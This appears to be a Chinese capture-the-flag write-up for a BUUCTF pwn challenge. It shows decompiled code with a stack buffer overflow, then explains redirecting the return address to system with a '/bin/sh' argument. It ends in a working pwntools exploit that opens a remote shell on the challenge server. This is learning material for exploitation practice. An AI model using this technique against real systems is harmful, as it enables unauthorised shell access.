
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- vulnerable_function();
- system("echo 'Hello World!'");
- return 0;
- }
- ssize_t vulnerable_function()
- {
- char buf[136]; // [esp+0h] [ebp-88h] BYREF
-
- system("echo Input:");
- return read(0, buf, 0x100u);
- }
- .data:0804A024 public hint
- .data:0804A024 hint db '/bin/sh',0
- .data:0804A024 _data ends
- .data:0804A024
注意到这里可以利用栈溢出漏洞,buf数组只给了0x88的大小,但是最多可以读入0x100个字节的数据,所以多读入的数据就会向下把栈给覆盖掉。把function函数的返回地址覆盖成system函数的入口地址,然后把参数改成"bin/sh"字符串的地址0x0804A024。
system函数的入口地址有两个:
- .text:08048457 push offset command ; "echo Input:"
- .text:0804845C call _system
地址为:0x0804845C
- .text:08048499 push offset aEchoHelloWorld ; "echo 'Hello World!'"
- .text:0804849E call _system
- .text:080484A3 add esp, 10h
地址为:0x0804849E
选一个,构造exp:
- #!/usr/bin/env python
- # coding=utf-8
-
- from pwn import *
- io =remote(u"node4.buuoj.cn",26436)
- payload = b'I'*(0x88)+ b'a'*0x4+ p32(0x0804845C)+ p32(0x0804A024)
- io.sendline(payload)
- io.interactive()